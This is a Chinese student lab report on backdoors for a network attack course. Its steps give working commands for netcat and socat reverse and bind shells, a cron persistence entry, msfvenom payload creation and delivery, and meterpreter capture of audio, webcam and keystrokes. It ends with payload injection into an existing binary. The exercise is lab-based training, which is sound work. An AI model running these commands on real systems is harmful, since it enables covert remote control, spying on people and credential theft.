博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
2018-2019-2 20165303《网络对抗技术》Exp2 后门原理与实践
阅读量:4699 次
发布时间:2019-06-09

本文共 4949 字,大约阅读时间需要 16 分钟。

实验内容

  • (1)使用netcat获取主机操作Shell,cron启动 (0.5分)

  • (2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

  • (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

  • (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

  • (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

首先是从网上下载免费软件或者游戏外挂驱动什么的,因为这些软件往往会要求较高的权限,管理员权限等,这样后门进入我的电脑就比较容易,而且杀毒软件也不会杀掉
浏览网页的时候可能会因为浏览器漏洞进行后门的下载

(2)例举你知道的后门如何启动起来(win及linux)的方式?

首先可以设置开机自启动,或者定时启动,或者与某个应用程序捆绑,在你打开程序的时候后门就会自动启动

(3)Meterpreter有哪些给你映像深刻的功能?

他可以自己定制后门软件,就像流水线一样,可以针对不同用户不同功能进行私人定制化,防止功能太强的一个程序比较大,容易被发现

(4)如何发现自己有系统有没有被安装后门?

安装杀毒软件,及时打开防火墙,经常查杀病毒木马,及时升级系统,平时不要去下载什么外挂或者游戏补丁等,把开机自启动的不必要的软件关掉

实验一

任务一 Windows获得Linux Shell

  • 1.首先使用命令ipconfig查看Windows的IP地址1296850-20190319165552752-1818283585.png

  • 2.进入老师给的程序的ncat文件夹中,使用命令ncat.exe -l -p 5303监听本机的5303端口

    1296850-20190319165850575-986924343.png

  • 3.在kali环境中使用netcat命令反向连接到Windows主机,由于我的电脑使用ncat发现没有这个命令,所以只能使用netcat 命令netcat 192.168.1.101 5303 -e /bin/sh进行连接
    1296850-20190319170311331-30293399.png
  • 4.成功获得kali的权限,如图所示

    1296850-20190319170416896-1582533082.png
    注意!!!能成功的前提是Windows防火墙得关,虚拟机都是用桥接模式,IP地址在同一个子网下

任务二 Linux获得Windows Shell

  • 1.在kali使用ifconfig查看kali的IP地址,第二行的就是IP地址了

    1296850-20190319170850028-1473572860.png

  • 2.使用nc指令监听5303端口nc -l -p 5303
    1296850-20190319171047112-1998492985.png
  • 3.在Windows下,使用ncat程序的-e选项反向连接kali的5303端口
    ncat.exe -e cmd.exe 192.168.1.154 5303
    1296850-20190319171416776-1539501935.png
  • 4.在kali下可以看到已经获得Windows权限Microsoft Windows,可以输入命令进行操作

1296850-20190319171719327-1801826765.png

任务三 使用nc传递数据

  • 1.首先在Windows下监听5303端口ncat.exe -l 5303
    1296850-20190319171924984-479788729.png
  • 2.在kali下连接到Windows端口netcat 192.168.1.101 5303
    1296850-20190319172349561-1435544875.png
  • 3.建立连接后可以进行数据传输下面是我进行数据传输的结果

    1296850-20190319172536608-1982945056.png
    1296850-20190319172544751-1294547774.png

    任务四 使用netcat获取主机操作Shell,cron启动

  • 1.在Windows系统下,监听5303端口ncat.exe -l -p 5303
  • 2.使用crontab -e指令编辑一条定时任务,输入指令后选3进入crontab编辑界面
    在最后一行添加45 * * * * /bin/netcat 192.168.1.101 5303 -e /bin/sh,意思是在每个小时的第45分钟反向连接Windows主机的5303端口,然后wq保存退出
    1296850-20190319173638346-1932756995.png
  • 3.保存退出后的结果
    1296850-20190319173724494-122472266.png
  • 4.在16.45分成功获取了权限
    1296850-20190319173822644-1025259823.png
  • 实验一借结束

实验二 使用socat获取主机操作Shell, 任务计划启动

  • 在win7中打开我的电脑,右键点击管理,在任务计划程序中点击创建任务,填写任务名字并编辑触发器,具体配置见图片

    1296850-20190320100125282-48197448.png

  • 点击操作选择启动程序程序或脚本填写你自己的socat.exe程序的路径,在添加参数中填写tcp-listen:5303 exec:cmd.exe,pty,stderr
  • 这个命令的作用是把cmd.exe绑定到端口5303,同时把cmd.exestderr重定向到stdout

    1296850-20190320100528254-911377382.png

  • 创建完成之后锁定计算机再重新启动即可发现程序已经在运行了

    1296850-20190320100633434-1214490715.png

  • 然后在kali虚拟机中输入socat - tcp:192.168.1.101:5303这里的IP即win7的IP地址,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5303端口,此时可以发现已经成功获得了一个cmd shell

    1296850-20190320100932278-1836635540.png

  • 第二个实验结束

实验三 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在kali上执行命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 -f exe > 20165303_backdoor.exe这里的IP地址填写kali的IP地址,生成后门程序20165303_backdoor.exe
    1296850-20190320101346011-1649534845.png

在Windows下进入ncat文件夹,下输入命令ncat.exe -lv 5303 > 20165303_backdoor.exe指令,通过-lv选项看到当前的连接状态,这样被控主机就进入了文件接收模式

1296850-20190320101727622-897700690.png

  • 在kali中执行nc 192.168.1.101 5303 < 20165303_backdoor.exe,这里的IP为被控主机IP,即WindowsIP,进行后门文件的传输
    1296850-20190320102039796-1729514786.png
  • 这里可以看到已经传输成功

1296850-20190320102118996-171283112.png

  • 在Kali上使用msfconsole指令进入msf控制台
    1296850-20190320102356488-1960815986.png
    先输入use exploit/multi/handler使用监听模块,
    set payload windows/meterpreter/reverse_tcp,设置payload
    set LHOST 192.168.1.154设置反弹回连的IP和端口,这里用的是LinuxIP,特别注意
    set LPORT 5303设置反弹回连的IP和端口
    1296850-20190320102819300-1798320362.png

然后输入show options

在输入exploit使用监听

运行Windows7下的后门程序

1296850-20190320103107088-1848382913.png
可以看到kali已经获取了权限
1296850-20190320103205461-2062559606.png

  • 实验三结束

实验四 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

在上一实验的基础上就可以继续,不需要退出来,我就是退出来后发现需要接着上一问继续做,然后又重新做了一遍实验三,炸裂

  • 1.使用record_mic指令可以截获一段音频,可以用-d选项设置录制时间

    1296850-20190320103544805-210415013.png
    在主文件夹中可以看到保存的音频文件wav
    1296850-20190320103830490-1096565794.png

  • 2.使用webcam_snap指令可以使用摄像头进行拍照

    1296850-20190321110449782-167211720.png

  • 3.使用keyscan_start开始记录下敲键的过程,使用keyscan_dump指令读取敲键的记录

    1296850-20190321110428655-404458516.png

  • 4.使用screenshot可以进行截屏

    1296850-20190320104358369-228209240.png

  • 5.使用getuid可以查看当前用户,使用getsystem指令进行提权

    1296850-20190320104447815-350171190.png

  • 6.也可以使用webcam stream进行录像

实验五 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

可以利用MSF直接生成shellcode注入到程序中

  • 这是网上查到的MSF命令行选项

-p, --payload      <payload>        使用攻击负荷。指定一个'-'或者输入(stdin)用户自定义的payloads(攻击负荷)。

--payload-options 攻击负荷(payload)标准参数(options)列表。

-l, --list <type> 一个模块类型列表。参数是:payloads、encoders、nops、all。

-n, --nopsled <length> 提前给负荷(payload)设置一个长度为length的nopsled。

-f, --format <format> 输出格式(使用 --help-formats来查看变量格式列表)

--help-formats 变量格式列表

-e, --encoder <encoder> 使用的编码(encoder)

-a, --arch <arch> 使用的结构(architecture)

--paltform <paltform> 攻击负荷的平台(platform)

--help-paltform 变量平台的列表信息

-s,--space <length> 产生有效负荷的最大长度

--encoder-space  <length> 编码的有效负荷的最大长度(默认是使用-s 的值)

-b,--bad-chars <list> 需要规避(avoid)的字符(characters)列表,例如:‘\x00\xff’

-i,--iterations <count> 对负荷进行编码的次数。

-c,--add-code <path> 指定一个详细win32 shellcode文件给include

-x,--template <path> 指定一个自定义可执行的文件作为一个模板(template)

-k,--keep 保留模板行为并且把负荷作为一个新的线程注入

-o,--out <path> 保存攻击负荷(payload)

-v,--var-name <name> 指定一个自定义变量名作为确切的输出格式

--smallest 生成最小可用攻击负荷

-h,--help 显示msfvenom使用信息

现在生成shellcode并注入到pwn1中

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 -x /root/pwn1 -f elf > pwn4

1296850-20190323204014148-1798367671.png

然后使用MSF进行监听

先输入msfconsole
然后输入set payload linux/x86/meterpreter/reverse_tcp
在输入set LHOST 192.168.1.154
接着set LPORT 5303
开始监听exploit
1296850-20190323204501749-893796884.png

在Linux中运行pwn程序,本来想在Windows中运行的,但是发现pwn程序无法运行,这应该是Linux程序

发现成功了
1296850-20190323204700822-676957022.png

  • 首先应该注意给pwn4程序加权限chmod +x pwn4
  • 任务三中被监听主机是Windows系统,则应为windows,而本任务中为Linux系统,则应改成linux/x86

这个实验重要的还是让我们深入了解MSF工具生成各种想要的后门或者生成shellcode注入到其他可执行程序中,这就告诉我们以后利用一个程序把自己后门文件注入进去,在别人使用这个程序的时候自然的就可以启动后门,然后就达到我们的目的了,比单纯的生成后门程序,让别人傻瓜式的点击运行要高级的多

总结与体会

遇到的问题

  • 1.首先就是两台虚拟机win7和kali都需要互相ping通,Windows防火墙需要关掉,虚拟机用桥接模式
  • 2.其次最好能找一台带照相机功能的win7,要不然的话不太好做
  • 3.在做第三个实验的时候要注意输入命令的时候到底是哪一个IP地址,不要搞错,否则就得重来

体会

后门是我们网络攻防的一个重要的环节,后门特指潜伏于操作系统中专门做后门的一个程序,有了这个程序我们可以轻易获取系统的权限做我们想要的事情,当然防范后门也是一个重要的环节

后门基本环节就是生成、投送、启动,生成,生成一个后门相对来说容易一些,最重要的就是投送和启动,投送可以利用人们的利益心里进行投送,启动的话就需要做一些手脚了
当然这是最简单的后门,我们还需要继续努力,多多学习

转载于:https://www.cnblogs.com/Vventador/p/10560160.html

你可能感兴趣的文章
130242014036-(2)-体验敏捷开发
查看>>
Nginx 流量和连接数限制
查看>>
IE8/9 本地预览上传图片
查看>>
Summary of CRM 2011 plug-in
查看>>
eval(PHP 4, PHP 5)
查看>>
readelf用法小记
查看>>
Java中JavaScript unescape与escape函数算法
查看>>
js的基础要点
查看>>
C#/IOS/Android通用加密解密方法
查看>>
Web API 简单示例
查看>>
返璞归真 asp.net mvc (4) - View/ViewEngine
查看>>
ADO.Net对Oracle数据库的操作【转载】
查看>>
Contoso 大学 - 6 – 更新关联数据
查看>>
C#中用DateTime的ParseExact方法解析日期时间(excel中使用系统默认的日期格式)
查看>>
W3100SM-S 短信猫代码发送 上
查看>>
Linux IO模式及 select、poll、epoll详解
查看>>
Log4j知识汇总
查看>>
java解析XML大全(转)
查看>>
移上显示大图
查看>>
TCP之1460MSS和1448负载
查看>>